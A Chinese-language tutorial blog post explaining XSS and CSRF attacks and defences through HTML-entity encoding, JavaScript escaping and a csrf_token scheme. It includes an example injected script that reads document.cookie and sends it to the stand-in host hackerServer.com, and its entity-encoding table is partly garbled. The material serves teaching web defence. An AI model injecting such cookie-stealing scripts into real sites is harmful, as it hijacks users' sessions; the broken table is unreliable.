xss和csrf攻击
xss(cross site scripting)是一种最常用的网站攻击方式。
一.Html的实体编码
举个栗子:用户在评论区输入评论信息,然后再评论区显示。大概是这个样子:
<span>User Data</span>
如果对User Data不做任何过滤,那么一些喜欢搞怪的小伙伴通常会“注入”一些其他东东,诸如:
<span>alert('弹弹弹')</span>
更有甚者,
<span>
<script>
function getCookie()
{
var cookie=document.cookie;
$.get("http://hackerServer.com?cookie="+cookie,function(result){ })//如浏览器支持跨域访问
}
</script>
</span>
这样的话,在黑客的站点 hackerServer.com 就会源源不断的得到用户的cookie,有了用户的cookie,就相当于得到了最初的凭证,便可以做很多坏事。
我们可以对用户输入的信息,进行转码后再显示,这样就不会出现上述的问题了。这里引入“html实体编码”的概念,见下图(图来源)。
| 显示结果 | 描述 | 实体名称 | 实体编号(十进制) | 实体编号(十六进制) |
|---|---|---|---|---|
| 空格 | | |||
| < | 小于号 | < | < | < |
| > | 大于号 | > | > | E; |
| & | 和号 | & | & |  |
| " | 引号 | " | " |  |
把 alert('弹弹弹') 转码后,其前端页面显示的为 alert('弹弹弹'),
查看其后端html源代码则为 alert('弹弹弹')
我们可以使用charCodeAt这个方法把User Data转化为html实体编码。
"alert('User Data')".replace(/./g, function(s){
return "&#" + s.charCodeAt()
+ ";"
});
二.Js编码
那我们可不可以把所有 有用户输入的地方都使用html实体编码,从而完全避免用户的注入呢?
不行!
HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a <div> tag. It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes. But HTML entity encoding doesn't work if you're putting untrusted data inside a <script> tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into. That's what the rules below are all about.
大致意思是:在有<script></script>的标签中,并不支持html编码,这是需要对js进行编码。
如:
<body> <div id='commentlist'>
<script type="text/javascript">
//var s="jsAlert";
var s="jsAlert";
alert(s)//弹出的是s字符串,而不是“jsAlert”
var s2="\152\163\101\154\145\162\164";
alert(s2)//弹出的是jsAlert
</script> </body>
对于在<script></script>标签中的User Data,要使用js编码,就是使用unicode编码,才能保证正确的输入和输出。js编码支持八进制和十六进制编码。
同样可以使用charCodeAt方法把数据进行转化,如下:
"jsAlert".replace(/./g, function(s){
return '\\'+s.charCodeAt().toString()
});
关于js编码的详细可以参考下这里。
三.Xss的危害
如果骇客在一个网站注入了自己一段非法脚本,比如我在http://www.baidu.com注入了一段脚本,该脚本的功能是给关注新浪微博某个指定的用户。
那么,当用户a访问http://www.baidu.com,并且用户a的浏览器保留了新浪微博的登录cookie,那么在访问时,http://www.baidu.com将作为跳板,自动向新浪微博服务器http://weibo.com发起了一次关注请求。显然的,这样的请求是不符合用户意愿的。
这里出现问题的原因就是因为http://www.baidu.com存在重大的xss漏洞所致。
用户浏览器访问http://weibo.com时,该浏览器weibo.com域名下的cookie自动被带着,去访问http://weibo.com,这是因为http是无状态的,而cookie则是身份证明的唯一途径,http协议决定了同个域名下的cookie会自动捎带。
毫无疑问,cookie并不是那么安全,
这里的黑客就是利用了网站的xss漏洞发起了csrf攻击。
必须指明的,csrf漏洞和xss漏洞并没有必然的关联。即使一个网站不存在xss漏洞,但是同样可以发起csrf攻击。
显然的,xss防范是网站安全的第一步,只有这样才能使自己不变成跳板,成为黑客们进行攻击的傀儡。为了避免csrf攻击,就需要采用“非Cookie”的信息策略,即使用csrf_token.
四.csrf攻击
csrf(Cross-site request forgery)攻击的原理是利用浏览器存储的cookie信息,去模拟用户的某些操作。下面是一个csrf攻击的场景:
场景:用户A登录了weibo.com之后,无意中浏览了某恶意网站 http://www.hacker.com之后,发现自己“莫名地” follow了n多个微博帐号。
原因:由于网站weibo.com的并没有使用csrf的防范,所以恶意用户在http://www.hacker.com上自动构造了“关注特定微博帐号”的请求操作followUser。
而又由于用户登了weibo.com,在用户浏览器存储的cookie信息,会随着followUser这个操作一起发送到weibo.com。
weibo.com服务端 在收到来自http://www.hacker.com的请求之后,验证cookie信息,发现cookie信息无误,便会误以为是正确的请求。
解决方案:由于Request Referer字段是可以修改的,所以通过Request Referer字段并不可取。
我们可以感觉cookie信息中的某些kv键值对键值对(如uuid=‘zhangsan’,timespan='201601011023',可以根据这些数据进行加密),然后通过某些位运算算法,生产一个csrf_token,由于这个字段不存在于Cookie,所以在访问时,需要在web端自动构建这个参数(如果是get请求,可以加到url之后;如果是post请求,可以封装到请求body之中)。
对于其他域名下的请求,由于其无法获取该域下的cookie信息,所以,即使该位运算算法暴露在js之中,其它恶意请求也无法构造这个csrf_token值。再weibo.com的服务端会被拒绝掉。
写到这里,不难发现,如果weibo.com存在xss漏洞,导致了用户cookie的泄漏,也会可能引发进一步的csrf攻击。
有防xss的措施,无防csrf的措施,网站会GG;
无防xss的措施,有防csrf的错误,网站会GG,因为你可能会丢cookie,导致csrf压根防不了。
以上。
可能有用的js方法:
1."aA".charCodeAt().toStrign("16")
2.String.fromCharCode(40)
3.eval()
参考:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://drops.wooyun.org/tips/689
http://www.cnblogs.com/hustskyking/p/xss-snippets.html
http://www.cnblogs.com/TomXu/archive/2011/12/31/2289423.html
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#Why_Can.27t_I_Just_HTML_Entity_Encode_Untrusted_Data.3F
xss和csrf攻击的更多相关文章
- XSS 和 CSRF 攻击
web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...
- XSS与CSRF攻击
一.XSS Cross Site Script,跨站脚本攻击.是指攻击者在网站上注入恶意客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一 ...
- 前端安全之XSS和csrf攻击
1.Csrf攻击概念: csrf攻击(Cross-site request forgery):跨站请求伪造; 2.Csrf攻击原理: 用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cook ...
- xss 和 csrf攻击详解
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同 ...
- XSS攻击 && CSRF攻击 基础理解
一个网站,不管多么的帅气,多么的风骚,如果你不安全,那始终都是一个弟弟啊~ 今天又看了下XSS和CSRF攻击的文章,我也想发点什么普及下大家的安全意识,毕竟作为一名拥有伟大梦想的程序员,基本的安全意识 ...
- 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- XSS攻击&SQL注入攻击&CSRF攻击?
- XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...
- yii框架各种防止sql注入,xss攻击,csrf攻击
PHP中常用到的方法有: /* 防sql注入,xss攻击 (1)*/ function actionClean($str) { $str=trim($str); ...
- XSS与CSRF两种跨站攻击比较
XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...
随机推荐
- ThreadLocal简单理解
在java开源项目的代码中看到一个类里ThreadLocal的属性: private static ThreadLocal<Boolean> clientMode = new Thread ...
- 干货分享:让你分分钟学会 JS 闭包
闭包,是 Javascript 比较重要的一个概念,对于初学者来讲,闭包是一个特别抽象的概念,特别是ECMA规范给的定义,如果没有实战经验,很难从定义去理解它.因此,本文不会对闭包的概念进行大篇幅描述 ...
- C#学习资源
# 视频 C#程序设计 Cousera(推荐) # 文档 C#教程 MSDN Microsoft API 和参考目录
- Hyper-v 安装CentOS 7 (其他虚拟机一样参考)
平台之大势何人能挡? 带着你的Net飞奔吧!http://www.cnblogs.com/dunitian/p/4822808.html hyper-v安装很多人没弄过,我这里介绍一下.(其他虚拟机参 ...
- 如何利用ETW(Event Tracing for Windows)记录日志
ETW是Event Tracing for Windows的简称,它是Windows提供的原生的事件跟踪日志系统.由于采用内核(Kernel)层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事 ...
- python开发环境搭建
虽然网上有很多python开发环境搭建的文章,不过重复造轮子还是要的,记录一下过程,方便自己以后配置,也方便正在学习中的同事配置他们的环境. 1.准备好安装包 1)上python官网下载python运 ...
- jquery插件的用法之cookie 插件
一.使用cookie 插件 插件官方网站下载地址:http://plugins.jquery.com/cookie/ cookie 插件的用法比较简单,直接粘贴下面代码示例: //生成一个cookie ...
- GOF23设计模式归类
创建型模式:-单例模式.工厂模式.抽象工厂模式.建造者模式.原型模式结构型模式:-适配器模式.桥接模式.装饰模式.组合模式.外观模式.享元模式.代理模式行为型模式:-模板方法模式.命令模式.迭代器模式 ...
- H3 BPM让天下没有难用的流程之技术特性
一.集成性 H3 BPM可以与其它系统进行多个层面的集成,满足企业的针对不同系统的集成需求. 图:多种集成维度 Ø 用户集成 可与企业现有系统进行组织架构同步或调用,也可以直接与AD 进行集成. ...
- mysql查询性能优化
mysql查询过程: 客户端发送查询请求. 服务器检查查询缓存,如果命中缓存,则返回结果,否则,继续执行. 服务器进行sql解析,预处理,再由优化器生成执行计划. Mysql调用存储引擎API执行优化 ...